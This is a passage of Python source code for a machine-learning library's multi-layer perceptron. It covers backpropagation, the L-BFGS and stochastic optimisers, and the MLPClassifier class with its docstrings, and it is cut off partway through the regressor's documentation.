            rng.normal(0, 0.01, (self.n_components, X.shape[1])),
            order='fortran')
        self.intercept_hidden_ = np.zeros(self.n_components, )
        self.intercept_visible_ = np.zeros(X.shape[1], )
        self.h_samples_ = np.zeros((self.batch_size, self.n_components))

        n_batches = int(np.ceil(float(n_samples) / self.batch_size))
        batch_slices = list(gen_even_slices(n_batches * self.batch_size,
                                            n_batches, n_samples))
        verbose = self.verbose
        begin = time.time()
        for iteration in xrange(1, self.n_iter + 1):
            for batch_slice in batch_slices:
                self._fit(X[batch_slice], rng)

            if verbose:
                end = time.time()
                print("[%s] Iteration %d, pseudo-likelihood = %.2f,"
                      " time = %.2fs"
                      % (type(self).__name__, iteration,
                         self.score_samples(X).mean(), end - begin))
                begin = end

        return self






"""Multi-layer Perceptron
"""

# Authors: Issam H. Laradji <issam.laradji@gmail.com>
#          Andreas Mueller
#          Jiyuan Qian
# License: BSD 3 clause

import numpy as np

from abc import ABCMeta, abstractmethod
from scipy.optimize import fmin_l_bfgs_b
import warnings

from ..base import BaseEstimator, ClassifierMixin, RegressorMixin
from ._base import logistic, softmax
from ._base import ACTIVATIONS, DERIVATIVES, LOSS_FUNCTIONS
from ._stochastic_optimizers import SGDOptimizer, AdamOptimizer
from ..model_selection import train_test_split
from ..externals import six
from ..preprocessing import LabelBinarizer
from ..utils import gen_batches, check_random_state
from ..utils import shuffle
from ..utils import check_array, check_X_y, column_or_1d
from ..exceptions import ConvergenceWarning
from ..utils.extmath import safe_sparse_dot
from ..utils.validation import check_is_fitted
from ..utils.multiclass import _check_partial_fit_first_call


_STOCHASTIC_ALGOS = ['sgd', 'adam']


def _pack(coefs_, intercepts_):
    """Pack the parameters into a single vector."""
    return np.hstack([l.ravel() for l in coefs_ + intercepts_])


class BaseMultilayerPerceptron(six.with_metaclass(ABCMeta, BaseEstimator)):
    """Base class for MLP classification and regression.

    Warning: This class should not be used directly.
    Use derived classes instead.
    """

    @abstractmethod
    def __init__(self, hidden_layer_sizes, activation, algorithm,
                 alpha, batch_size, learning_rate, learning_rate_init, power_t,
                 max_iter, loss, shuffle, random_state, tol, verbose,
                 warm_start, momentum, nesterovs_momentum, early_stopping,
                 validation_fraction, beta_1, beta_2, epsilon):
        self.activation = activation
        self.algorithm = algorithm
        self.alpha = alpha
        self.batch_size = batch_size
        self.learning_rate = learning_rate
        self.learning_rate_init = learning_rate_init
        self.power_t = power_t
        self.max_iter = max_iter
        self.loss = loss
        self.hidden_layer_sizes = hidden_layer_sizes
        self.shuffle = shuffle
        self.random_state = random_state
        self.tol = tol
        self.verbose = verbose
        self.warm_start = warm_start
        self.momentum = momentum
        self.nesterovs_momentum = nesterovs_momentum
        self.early_stopping = early_stopping
        self.validation_fraction = validation_fraction
        self.beta_1 = beta_1
        self.beta_2 = beta_2
        self.epsilon = epsilon

    def _unpack(self, packed_parameters):
        """Extract the coefficients and intercepts from packed_parameters."""
        for i in range(self.n_layers_ - 1):
            start, end, shape = self._coef_indptr[i]
            self.coefs_[i] = np.reshape(packed_parameters[start:end], shape)

            start, end = self._intercept_indptr[i]
            self.intercepts_[i] = packed_parameters[start:end]

    def _forward_pass(self, activations, with_output_activation=True):
        """Perform a forward pass on the network by computing the values
        of the neurons in the hidden layers and the output layer.

        Parameters
        ----------
        activations: list, length = n_layers - 1
            The ith element of the list holds the values of the ith layer.

        with_output_activation : bool, default True
            If True, the output passes through the output activation
            function, which is either the softmax function or the
            logistic function
        """
        hidden_activation = ACTIVATIONS[self.activation]
        # Iterate over the hidden layers
        for i in range(self.n_layers_ - 1):
            activations[i + 1] = safe_sparse_dot(activations[i],
                                                 self.coefs_[i])
            activations[i + 1] += self.intercepts_[i]

            # For the hidden layers
            if (i + 1) != (self.n_layers_ - 1):
                activations[i + 1] = hidden_activation(activations[i + 1])

        # For the last layer
        if with_output_activation:
            output_activation = ACTIVATIONS[self.out_activation_]
            activations[i + 1] = output_activation(activations[i + 1])

        return activations

    def _compute_loss_grad(self, layer, n_samples, activations, deltas,
                           coef_grads, intercept_grads):
        """Compute the gradient of loss with respect to coefs and intercept for
        specified layer.

        This function does backpropagation for the specified one layer.
        """
        coef_grads[layer] = safe_sparse_dot(activations[layer].T,
                                            deltas[layer])
        coef_grads[layer] += (self.alpha * self.coefs_[layer])
        coef_grads[layer] /= n_samples

        intercept_grads[layer] = np.mean(deltas[layer], 0)

        return coef_grads, intercept_grads

    def _loss_grad_lbfgs(self, packed_coef_inter, X, y, activations, deltas,
                         coef_grads, intercept_grads):
        """Compute the MLP loss function and its corresponding derivatives
        with respect to the different parameters given in the initialization.

        Returned gradients are packed in a single vector so it can be used
        in l-bfgs

        Parameters
        ----------
        packed_parameters : array-like
            A vector comprising the flattened coefficients and intercepts.

        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        y : array-like, shape (n_samples,)
            The target values.

        activations: list, length = n_layers - 1
            The ith element of the list holds the values of the ith layer.

        deltas : list, length = n_layers - 1
            The ith element of the list holds the difference between the
            activations of the i + 1 layer and the backpropagated error.
            More specifically, deltas are gradients of loss with respect to z
            in each layer, where z = wx + b is the value of a particular layer
            before passing through the activation function

        coef_grad : list, length = n_layers - 1
            The ith element contains the amount of change used to update the
            coefficient parameters of the ith layer in an iteration.

        intercept_grads : list, length = n_layers - 1
            The ith element contains the amount of change used to update the
            intercept parameters of the ith layer in an iteration.

        Returns
        -------
        loss : float
        grad : array-like, shape (number of nodes of all layers,)

        """
        self._unpack(packed_coef_inter)
        loss, coef_grads, intercept_grads = self._backprop(
            X, y, activations, deltas, coef_grads, intercept_grads)
        self.n_iter_ += 1
        grad = _pack(coef_grads, intercept_grads)
        return loss, grad

    def _backprop(self, X, y, activations, deltas, coef_grads,
                  intercept_grads):
        """Compute the MLP loss function and its corresponding derivatives
        with respect to each parameter: weights and bias vectors.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        y : array-like, shape (n_samples,)
            The target values.

        activations: list, length = n_layers - 1
             The ith element of the list holds the values of the ith layer.

        deltas : list, length = n_layers - 1
            The ith element of the list holds the difference between the
            activations of the i + 1 layer and the backpropagated error.
            More specifically, deltas are gradients of loss with respect to z
            in each layer, where z = wx + b is the value of a particular layer
            before passing through the activation function

        coef_grad : list, length = n_layers - 1
            The ith element contains the amount of change used to update the
            coefficient parameters of the ith layer in an iteration.

        intercept_grads : list, length = n_layers - 1
            The ith element contains the amount of change used to update the
            intercept parameters of the ith layer in an iteration.

        Returns
        -------
        loss : float
        coef_grads : list, length = n_layers - 1
        intercept_grads : list, length = n_layers - 1
        """
        n_samples = X.shape[0]

        # Forward propagate
        activations = self._forward_pass(activations)

        # Get loss
        loss = LOSS_FUNCTIONS[self.loss](y, activations[-1])
        # Add L2 regularization term to loss
        values = np.sum(
            np.array([np.dot(s.ravel(), s.ravel()) for s in self.coefs_]))
        loss += (0.5 * self.alpha) * values / n_samples

        # Backward propagate
        last = self.n_layers_ - 2

        # The calculation of delta[last] here works with following
        # combinations of output activation and loss function:
        # sigmoid and binary cross entropy, softmax and categorical cross
        # entropy, and identity with squared loss
        diff = y - activations[-1]
        deltas[last] = -diff

        # Compute gradient for the last layer
        coef_grads, intercept_grads = self._compute_loss_grad(
            last, n_samples, activations, deltas, coef_grads, intercept_grads)

        # Iterate over the hidden layers
        for i in range(self.n_layers_ - 2, 0, -1):
            deltas[i - 1] = safe_sparse_dot(deltas[i], self.coefs_[i].T)
            derivative = DERIVATIVES[self.activation]
            deltas[i - 1] *= derivative(activations[i])

            coef_grads, intercept_grads = self._compute_loss_grad(
                i - 1, n_samples, activations, deltas, coef_grads,
                intercept_grads)

        return loss, coef_grads, intercept_grads

    def _initialize(self, y, layer_units):
        # set all attributes, allocate weights etc for first call
        # Initialize parameters
        self.n_iter_ = 0
        self.t_ = 0
        self.n_outputs_ = y.shape[1]

        # Compute the number of layers
        self.n_layers_ = len(layer_units)

        # Output for regression
        if not isinstance(self, ClassifierMixin):
            self.out_activation_ = 'identity'
        # Output for multi class
        elif self.label_binarizer_.y_type_ == 'multiclass':
            self.out_activation_ = 'softmax'
        # Output for binary class and multi-label
        else:
            self.out_activation_ = 'logistic'
            if self.loss == 'log_loss':
                self.loss = 'binary_log_loss'

        # Initialize coefficient and intercept layers
        self.coefs_ = []
        self.intercepts_ = []

        for i in range(self.n_layers_ - 1):
            rng = check_random_state(self.random_state)
            coef_init, intercept_init = self._init_coef(layer_units[i],
                                                        layer_units[i + 1],
                                                        rng)
            self.coefs_.append(coef_init)
            self.intercepts_.append(intercept_init)

        if self.algorithm in _STOCHASTIC_ALGOS:
            self.loss_curve_ = []
            self._no_improvement_count = 0
            if self.early_stopping:
                self.validation_scores_ = []
                self.best_validation_score_ = -np.inf
            else:
                self.best_loss_ = np.inf

    def _init_coef(self, fan_in, fan_out, rng):
        if self.activation == 'logistic':
            # Use the initialization method recommended by
            # Glorot et al.
            init_bound = np.sqrt(2. / (fan_in + fan_out))
        elif self.activation == 'tanh':
            init_bound = np.sqrt(6. / (fan_in + fan_out))
        elif self.activation == 'relu':
            init_bound = np.sqrt(6. / (fan_in + fan_out))
        else:
            # this was caught earlier, just to make sure
            raise ValueError("Unknown activation function %s" %
                             self.activation)

        coef_init = rng.uniform(-init_bound, init_bound, (fan_in, fan_out))
        intercept_init = rng.uniform(-init_bound, init_bound, fan_out)
        return coef_init, intercept_init

    def _fit(self, X, y, incremental=False):
        # Make sure self.hidden_layer_sizes is a list
        hidden_layer_sizes = self.hidden_layer_sizes
        if not hasattr(hidden_layer_sizes, "__iter__"):
            hidden_layer_sizes = [hidden_layer_sizes]
        hidden_layer_sizes = list(hidden_layer_sizes)

        # Validate input parameters.
        self._validate_hyperparameters()
        if np.any(np.array(hidden_layer_sizes) <= 0):
            raise ValueError("hidden_layer_sizes must be > 0, got %s." %
                             hidden_layer_sizes)

        X, y = self._validate_input(X, y, incremental)
        n_samples, n_features = X.shape

        # Ensure y is 2D
        if y.ndim == 1:
            y = y.reshape((-1, 1))

        self.n_outputs_ = y.shape[1]

        layer_units = ([n_features] + hidden_layer_sizes +
                       [self.n_outputs_])

        if not hasattr(self, 'coefs_') or (not self.warm_start and not
                                           incremental):
            # First time training the model
            self._initialize(y, layer_units)

        # l-bfgs does not support mini-batches
        if self.algorithm == 'l-bfgs':
            batch_size = n_samples
        elif self.batch_size == 'auto':
            batch_size = min(200, n_samples)
        else:
            if self.batch_size < 1 or self.batch_size > n_samples:
                warnings.warn("Got `batch_size` less than 1 or larger than "
                              "sample size. It is going to be clipped")
            batch_size = np.clip(self.batch_size, 1, n_samples)

        # Initialize lists
        activations = [X]
        activations.extend(np.empty((batch_size, n_fan_out))
                           for n_fan_out in layer_units[1:])
        deltas = [np.empty_like(a_layer) for a_layer in activations]

        coef_grads = [np.empty((n_fan_in_, n_fan_out_)) for n_fan_in_,
                      n_fan_out_ in zip(layer_units[:-1],
                                        layer_units[1:])]

        intercept_grads = [np.empty(n_fan_out_) for n_fan_out_ in
                           layer_units[1:]]

        # Run the Stochastic optimization algorithm
        if self.algorithm in _STOCHASTIC_ALGOS:
            self._fit_stochastic(X, y, activations, deltas, coef_grads,
                                 intercept_grads, layer_units, incremental)

        # Run the LBFGS algorithm
        elif self.algorithm == 'l-bfgs':
            self._fit_lbfgs(X, y, activations, deltas, coef_grads,
                            intercept_grads, layer_units)
        return self

    def _validate_hyperparameters(self):
        if not isinstance(self.shuffle, bool):
            raise ValueError("shuffle must be either True or False, got %s." %
                             self.shuffle)
        if self.max_iter <= 0:
            raise ValueError("max_iter must be > 0, got %s." % self.max_iter)
        if self.alpha < 0.0:
            raise ValueError("alpha must be >= 0, got %s." % self.alpha)
        if (self.learning_rate in ["constant", "invscaling", "adaptive"] and
                self.learning_rate_init <= 0.0):
            raise ValueError("learning_rate_init must be > 0, got %s." %
                             self.learning_rate)
        if self.momentum > 1 or self.momentum < 0:
            raise ValueError("momentum must be >= 0 and <= 1, got %s" %
                             self.momentum)
        if not isinstance(self.nesterovs_momentum, bool):
            raise ValueError("nesterovs_momentum must be either True or False,"
                             " got %s." % self.nesterovs_momentum)
        if not isinstance(self.early_stopping, bool):
            raise ValueError("early_stopping must be either True or False,"
                             " got %s." % self.early_stopping)
        if self.validation_fraction < 0 or self.validation_fraction >= 1:
            raise ValueError("validation_fraction must be >= 0 and < 1, "
                             "got %s" % self.validation_fraction)
        if self.beta_1 < 0 or self.beta_1 >= 1:
            raise ValueError("beta_1 must be >= 0 and < 1, got %s" %
                             self.beta_1)
        if self.beta_2 < 0 or self.beta_2 >= 1:
            raise ValueError("beta_2 must be >= 0 and < 1, got %s" %
                             self.beta_2)
        if self.epsilon <= 0.0:
            raise ValueError("epsilon must be > 0, got %s." % self.epsilon)

        # raise ValueError if not registered
        supported_activations = ['logistic', 'tanh', 'relu']
        if self.activation not in supported_activations:
            raise ValueError("The activation '%s' is not supported. Supported "
                             "activations are %s." % (self.activation,
                                                      supported_activations))
        if self.learning_rate not in ["constant", "invscaling", "adaptive"]:
            raise ValueError("learning rate %s is not supported. " %
                             self.learning_rate)
        if self.algorithm not in _STOCHASTIC_ALGOS + ["l-bfgs"]:
            raise ValueError("The algorithm %s is not supported. " %
                             self.algorithm)

    def _fit_lbfgs(self, X, y, activations, deltas, coef_grads,
                   intercept_grads, layer_units):
        # Store meta information for the parameters
        self._coef_indptr = []
        self._intercept_indptr = []
        start = 0

        # Save sizes and indices of coefficients for faster unpacking
        for i in range(self.n_layers_ - 1):
            n_fan_in, n_fan_out = layer_units[i], layer_units[i + 1]

            end = start + (n_fan_in * n_fan_out)
            self._coef_indptr.append((start, end, (n_fan_in, n_fan_out)))
            start = end

        # Save sizes and indices of intercepts for faster unpacking
        for i in range(self.n_layers_ - 1):
            end = start + layer_units[i + 1]
            self._intercept_indptr.append((start, end))
            start = end

        # Run LBFGS
        packed_coef_inter = _pack(self.coefs_,
                                  self.intercepts_)

        if self.verbose is True or self.verbose >= 1:
            iprint = 1
        else:
            iprint = -1

        optimal_parameters, self.loss_, d = fmin_l_bfgs_b(
            x0=packed_coef_inter,
            func=self._loss_grad_lbfgs,
            maxfun=self.max_iter,
            iprint=iprint,
            pgtol=self.tol,
            args=(X, y, activations, deltas, coef_grads, intercept_grads))

        self._unpack(optimal_parameters)

    def _fit_stochastic(self, X, y, activations, deltas, coef_grads,
                        intercept_grads, layer_units, incremental):
        rng = check_random_state(self.random_state)

        if not incremental or not hasattr(self, '_optimizer'):
            params = self.coefs_ + self.intercepts_

            if self.algorithm == 'sgd':
                self._optimizer = SGDOptimizer(
                    params, self.learning_rate_init, self.learning_rate,
                    self.momentum, self.nesterovs_momentum, self.power_t)
            elif self.algorithm == 'adam':
                self._optimizer = AdamOptimizer(
                    params, self.learning_rate_init, self.beta_1, self.beta_2,
                    self.epsilon)

        # early_stopping in partial_fit doesn't make sense
        early_stopping = self.early_stopping and not incremental
        if early_stopping:
            X, X_val, y, y_val = train_test_split(
                X, y, random_state=self.random_state,
                test_size=self.validation_fraction)
            if isinstance(self, ClassifierMixin):
                y_val = self.label_binarizer_.inverse_transform(y_val)
        else:
            X_val = None
            y_val = None

        n_samples = X.shape[0]

        if self.batch_size == 'auto':
            batch_size = min(200, n_samples)
        else:
            batch_size = np.clip(self.batch_size, 1, n_samples)

        try:
            for it in range(self.max_iter):
                X, y = shuffle(X, y, random_state=rng)
                accumulated_loss = 0.0
                for batch_slice in gen_batches(n_samples, batch_size):
                    activations[0] = X[batch_slice]
                    batch_loss, coef_grads, intercept_grads = self._backprop(
                        X[batch_slice], y[batch_slice], activations, deltas,
                        coef_grads, intercept_grads)
                    accumulated_loss += batch_loss * (batch_slice.stop -
                                                      batch_slice.start)

                    # update weights
                    grads = coef_grads + intercept_grads
                    self._optimizer.update_params(grads)

                self.n_iter_ += 1
                self.loss_ = accumulated_loss / X.shape[0]

                self.t_ += n_samples
                self.loss_curve_.append(self.loss_)
                if self.verbose:
                    print("Iteration %d, loss = %.8f" % (self.n_iter_,
                                                         self.loss_))

                # update no_improvement_count based on training loss or
                # validation score according to early_stopping
                self._update_no_improvement_count(early_stopping, X_val, y_val)

                # for learning rate that needs to be updated at iteration end
                self._optimizer.iteration_ends(self.t_)

                if self._no_improvement_count > 2:
                    # not better than last two iterations by tol.
                    # stop or decrease learning rate
                    if early_stopping:
                        msg = ("Validation score did not improve more than "
                               "tol=%f for two consecutive epochs." % self.tol)
                    else:
                        msg = ("Training loss did not improve more than tol=%f"
                               " for two consecutive epochs." % self.tol)

                    is_stopping = self._optimizer.trigger_stopping(
                        msg, self.verbose)
                    if is_stopping:
                        break
                    else:
                        self._no_improvement_count = 0

                if incremental:
                    break

                if self.n_iter_ == self.max_iter:
                    warnings.warn('Stochastic Optimizer: Maximum iterations'
                                  ' reached and the optimization hasn\'t '
                                  'converged yet.'
                                  % (), ConvergenceWarning)
        except KeyboardInterrupt:
            pass

        if early_stopping:
            # restore best weights
            self.coefs_ = self._best_coefs
            self.intercepts_ = self._best_intercepts

    def _update_no_improvement_count(self, early_stopping, X_val, y_val):
        if early_stopping:
            # compute validation score, use that for stopping
            self.validation_scores_.append(self.score(X_val, y_val))

            if self.verbose:
                print("Validation score: %f" % self.validation_scores_[-1])
            # update best parameters
            # use validation_scores_, not loss_curve_
            # let's hope no-one overloads .score with mse
            last_valid_score = self.validation_scores_[-1]

            if last_valid_score < (self.best_validation_score_ +
                                   self.tol):
                self._no_improvement_count += 1
            else:
                self._no_improvement_count = 0

            if last_valid_score > self.best_validation_score_:
                self.best_validation_score_ = last_valid_score
                self._best_coefs = [c.copy() for c in self.coefs_]
                self._best_intercepts = [i.copy()
                                         for i in self.intercepts_]
        else:
            if self.loss_curve_[-1] > self.best_loss_ - self.tol:
                self._no_improvement_count += 1
            else:
                self._no_improvement_count = 0
            if self.loss_curve_[-1] < self.best_loss_:
                self.best_loss_ = self.loss_curve_[-1]

    def fit(self, X, y):
        """Fit the model to data matrix X and target y.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        y : array-like, shape (n_samples,)
            The target values.

        Returns
        -------
        self : returns a trained MLP model.
        """
        return self._fit(X, y, incremental=False)

    @property
    def partial_fit(self):
        """Fit the model to data matrix X and target y.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        y : array-like, shape (n_samples,)
            The target values.

        Returns
        -------
        self : returns a trained MLP model.
        """
        if self.algorithm not in _STOCHASTIC_ALGOS:
            raise AttributeError("partial_fit is only available for stochastic"
                                 "optimization algorithms. %s is not"
                                 " stochastic" % self.algorithm)
        return self._partial_fit

    def _partial_fit(self, X, y, classes=None):
        return self._fit(X, y, incremental=True)

    def _decision_scores(self, X):
        """Predict using the trained model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        Returns
        -------
        y_pred : array-like, shape (n_samples,) or (n_samples, n_outputs)
            The decision function of the samples for each class in the model.
        """
        X = check_array(X, accept_sparse=['csr', 'csc', 'coo'])

        # Make sure self.hidden_layer_sizes is a list
        hidden_layer_sizes = self.hidden_layer_sizes
        if not hasattr(hidden_layer_sizes, "__iter__"):
            hidden_layer_sizes = [hidden_layer_sizes]
        hidden_layer_sizes = list(hidden_layer_sizes)

        layer_units = [X.shape[1]] + hidden_layer_sizes + \
            [self.n_outputs_]

        # Initialize layers
        activations = [X]

        for i in range(self.n_layers_ - 1):
            activations.append(np.empty((X.shape[0],
                                         layer_units[i + 1])))
        # forward propagate
        self._forward_pass(activations, with_output_activation=False)
        y_pred = activations[-1]

        return y_pred


class MLPClassifier(BaseMultilayerPerceptron, ClassifierMixin):
    """Multi-layer Perceptron classifier.

    This algorithm optimizes the log-loss function using l-bfgs or gradient
    descent.

    Parameters
    ----------
    hidden_layer_sizes : tuple, length = n_layers - 2, default (100,)
        The ith element represents the number of neurons in the ith
        hidden layer.

    activation : {'logistic', 'tanh', 'relu'}, default 'relu'
        Activation function for the hidden layer.

        - 'logistic', the logistic sigmoid function,
          returns f(x) = 1 / (1 + exp(-x)).

        - 'tanh', the hyperbolic tan function,
          returns f(x) = tanh(x).

        - 'relu', the rectified linear unit function,
          returns f(x) = max(0, x)

    algorithm : {'l-bfgs', 'sgd', 'adam'}, default 'adam'
        The algorithm for weight optimization.

        - 'l-bfgs' is an optimization algorithm in the family of
          quasi-Newton methods.

        - 'sgd' refers to stochastic gradient descent.

        - 'adam' refers to a stochastic gradient-based optimization algorithm
          proposed by Kingma, Diederik, and Jimmy Ba

        Note: The default algorithm 'adam' works pretty well on relatively
        large datasets (with thousands of training samples or more) in terms of
        both training time and validation score.
        For small datasets, however, 'l-bfgs' can converge faster and perform
        better.

    alpha : float, optional, default 0.0001
        L2 penalty (regularization term) parameter.

    batch_size : int, optional, default 'auto'
        Size of minibatches for stochastic optimizers.
        If the algorithm is 'l-bfgs', the classifier will not use minibatch.
        When set to "auto", `batch_size=min(200, n_samples)`

    learning_rate : {'constant', 'invscaling', 'adaptive'}, default 'constant'
        Learning rate schedule for weight updates.

        - 'constant' is a constant learning rate given by
          'learning_rate_init'.

        - 'invscaling' gradually decreases the learning rate ``learning_rate_``
          at each time step 't' using an inverse scaling exponent of 'power_t'.
          effective_learning_rate = learning_rate_init / pow(t, power_t)

        - 'adaptive' keeps the learning rate constant to
          'learning_rate_init' as long as training loss keeps decreasing.
          Each time two consecutive epochs fail to decrease training loss by at
          least tol, or fail to increase validation score by at least tol if
          'early_stopping' is on, the current learning rate is divided by 5.

        Only used when ``algorithm='sgd'``.

    max_iter : int, optional, default 200
        Maximum number of iterations. The algorithm iterates until convergence
        (determined by 'tol') or this number of iterations.

    random_state : int or RandomState, optional, default None
        State or seed for random number generator.

    shuffle : bool, optional, default True
        Whether to shuffle samples in each iteration. Only used when
        algorithm='sgd' or 'adam'.

    tol : float, optional, default 1e-4
        Tolerance for the optimization. When the loss or score is not improving
        by at least tol for two consecutive iterations, unless `learning_rate`
        is set to 'adaptive', convergence is considered to be reached and
        training stops.

    learning_rate_init : double, optional, default 0.001
        The initial learning rate used. It controls the step-size
        in updating the weights. Only used when algorithm='sgd' or 'adam'.

    power_t : double, optional, default 0.5
        The exponent for inverse scaling learning rate.
        It is used in updating effective learning rate when the learning_rate
        is set to 'invscaling'. Only used when algorithm='sgd'.

    verbose : bool, optional, default False
        Whether to print progress messages to stdout.

    warm_start : bool, optional, default False
        When set to True, reuse the solution of the previous
        call to fit as initialization, otherwise, just erase the
        previous solution.

    momentum : float, default 0.9
        Momentum for gradient descent update. Should be between 0 and 1. Only
        used when algorithm='sgd'.

    nesterovs_momentum : boolean, default True
        Whether to use Nesterov's momentum. Only used when algorithm='sgd' and
        momentum > 0.

    early_stopping : bool, default False
        Whether to use early stopping to terminate training when validation
        score is not improving. If set to true, it will automatically set
        aside 10% of training data as validation and terminate training when
        validation score is not improving by at least tol for two consecutive
        epochs.
        Only effective when algorithm='sgd' or 'adam'

    validation_fraction : float, optional, default 0.1
        The proportion of training data to set aside as validation set for
        early stopping. Must be between 0 and 1.
        Only used if early_stopping is True

    beta_1 : float, optional, default 0.9
        Exponential decay rate for estimates of first moment vector in adam,
        should be in [0, 1). Only used when algorithm='adam'

    beta_2 : float, optional, default 0.999
        Exponential decay rate for estimates of second moment vector in adam,
        should be in [0, 1). Only used when algorithm='adam'

    epsilon : float, optional, default 1e-8
        Value for numerical stability in adam. Only used when algorithm='adam'

    Attributes
    ----------
    `classes_` : array or list of array of shape (n_classes,)
        Class labels for each output.

    `loss_` : float
        The current loss computed with the loss function.

    `label_binarizer_` : LabelBinarizer
        A LabelBinarizer object trained on the training set.

    `coefs_` : list, length n_layers - 1
        The ith element in the list represents the weight matrix corresponding
        to layer i.

    `intercepts_` : list, length n_layers - 1
        The ith element in the list represents the bias vector corresponding to
        layer i + 1.

    n_iter_ : int,
        The number of iterations the algorithm has ran.

    n_layers_ : int
        Number of layers.

    `n_outputs_` : int
        Number of outputs.

    `out_activation_` : string
        Name of the output activation function.

    Notes
    -----
    MLPClassifier trains iteratively since at each time step
    the partial derivatives of the loss function with respect to the model
    parameters are computed to update the parameters.

    It can also have a regularization term added to the loss function
    that shrinks model parameters to prevent overfitting.

    This implementation works with data represented as dense numpy arrays or
    sparse scipy arrays of floating point values.

    References
    ----------
    Hinton, Geoffrey E.
        "Connectionist learning procedures." Artificial intelligence 40.1
        (1989): 185-234.

    Glorot, Xavier, and Yoshua Bengio. "Understanding the difficulty of
        training deep feedforward neural networks." International Conference
        on Artificial Intelligence and Statistics. 2010.

    He, Kaiming, et al. "Delving deep into rectifiers: Surpassing human-level
        performance on imagenet classification." arXiv preprint
        arXiv:1502.01852 (2015).

    Kingma, Diederik, and Jimmy Ba. "Adam: A method for stochastic
        optimization." arXiv preprint arXiv:1412.6980 (2014).
    """
    def __init__(self, hidden_layer_sizes=(100,), activation="relu",
                 algorithm='adam', alpha=0.0001,
                 batch_size='auto', learning_rate="constant",
                 learning_rate_init=0.001, power_t=0.5, max_iter=200,
                 shuffle=True, random_state=None, tol=1e-4,
                 verbose=False, warm_start=False, momentum=0.9,
                 nesterovs_momentum=True, early_stopping=False,
                 validation_fraction=0.1, beta_1=0.9, beta_2=0.999,
                 epsilon=1e-8):

        sup = super(MLPClassifier, self)
        sup.__init__(hidden_layer_sizes=hidden_layer_sizes,
                     activation=activation, algorithm=algorithm, alpha=alpha,
                     batch_size=batch_size, learning_rate=learning_rate,
                     learning_rate_init=learning_rate_init, power_t=power_t,
                     max_iter=max_iter, loss='log_loss', shuffle=shuffle,
                     random_state=random_state, tol=tol, verbose=verbose,
                     warm_start=warm_start, momentum=momentum,
                     nesterovs_momentum=nesterovs_momentum,
                     early_stopping=early_stopping,
                     validation_fraction=validation_fraction,
                     beta_1=beta_1, beta_2=beta_2, epsilon=epsilon)

        self.label_binarizer_ = LabelBinarizer()

    def _validate_input(self, X, y, incremental):
        X, y = check_X_y(X, y, accept_sparse=['csr', 'csc', 'coo'],
                         multi_output=True)
        if y.ndim == 2 and y.shape[1] == 1:
            y = column_or_1d(y, warn=True)
        self.label_binarizer_.fit(y)

        if not hasattr(self, 'classes_') or not incremental:
            self.classes_ = self.label_binarizer_.classes_
        else:
            classes = self.label_binarizer_.classes_
            if not np.all(np.in1d(classes, self.classes_)):
                raise ValueError("`y` has classes not in `self.classes_`."
                                 " `self.classes_` has %s. 'y' has %s." %
                                 (self.classes_, classes))

        y = self.label_binarizer_.transform(y)
        return X, y

    def decision_function(self, X):
        """Decision function of the mlp model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        Returns
        -------
        y : array-like, shape (n_samples,) or (n_samples, n_classes)
            The values of decision function for each class in the model.
        """
        check_is_fitted(self, "coefs_")
        y_scores = self._decision_scores(X)

        if self.n_outputs_ == 1:
            return y_scores.ravel()
        else:
            return y_scores

    def predict(self, X):
        """Predict using the multi-layer perceptron classifier

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        Returns
        -------
        y : array-like, shape (n_samples,) or (n_samples, n_classes)
            The predicted classes.
        """
        check_is_fitted(self, "coefs_")
        y_scores = self.decision_function(X)
        y_scores = ACTIVATIONS[self.out_activation_](y_scores)

        return self.label_binarizer_.inverse_transform(y_scores)

    @property
    def partial_fit(self):
        """Fit the model to data matrix X and target y.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        y : array-like, shape (n_samples,)
            The target values.

        classes : array, shape (n_classes)
            Classes across all calls to partial_fit.
            Can be obtained via `np.unique(y_all)`, where y_all is the
            target vector of the entire dataset.
            This argument is required for the first call to partial_fit
            and can be omitted in the subsequent calls.
            Note that y doesn't need to contain all labels in `classes`.

        Returns
        -------
        self : returns a trained MLP model.
        """
        if self.algorithm not in _STOCHASTIC_ALGOS:
            raise AttributeError("partial_fit is only available for stochastic"
                                 "optimization algorithms. %s is not"
                                 " stochastic" % self.algorithm)
        return self._partial_fit

    def _partial_fit(self, X, y, classes=None):
        _check_partial_fit_first_call(self, classes)

        super(MLPClassifier, self)._partial_fit(X, y)

        return self

    def predict_log_proba(self, X):
        """Return the log of probability estimates.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            The input data.

        Returns
        -------
        log_y_prob : array-like, shape (n_samples, n_classes)
            The predicted log-probability of the sample for each class
            in the model, where classes are ordered as they are in
            `self.classes_`. Equivalent to log(predict_proba(X))
        """
        y_prob = self.predict_proba(X)
        return np.log(y_prob, out=y_prob)

    def predict_proba(self, X):
        """Probability estimates.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        Returns
        -------
        y_prob : array-like, shape (n_samples, n_classes)
            The predicted probability of the sample for each class in the
            model, where classes are ordered as they are in `self.classes_`.
        """
        y_scores = self.decision_function(X)

        if y_scores.ndim == 1:
            y_scores = logistic(y_scores)
            return np.vstack([1 - y_scores, y_scores]).T
        else:
            return softmax(y_scores)


class MLPRegressor(BaseMultilayerPerceptron, RegressorMixin):
    """Multi-layer Perceptron regressor.

    This algorithm optimizes the squared-loss using l-bfgs or gradient descent.

    Parameters
    ----------
    hidden_layer_sizes : tuple, length = n_layers - 2, default (100,)
        The ith element represents the number of neurons in the ith
        hidden layer.

    activation : {'logistic', 'tanh', 'relu'}, default 'relu'
        Activation function for the hidden layer.

        - 'logistic', the logistic sigmoid function,
          returns f(x) = 1 / (1 + exp(-x)).

        - 'tanh', the hyperbolic tan function,
          returns f(x) = tanh(x).

        - 'relu', the rectified linear unit function,
          returns f(x) = max(0, x)

    algorithm : {'l-bfgs', 'sgd', 'adam'}, default 'adam'
        The algorithm for weight optimization.

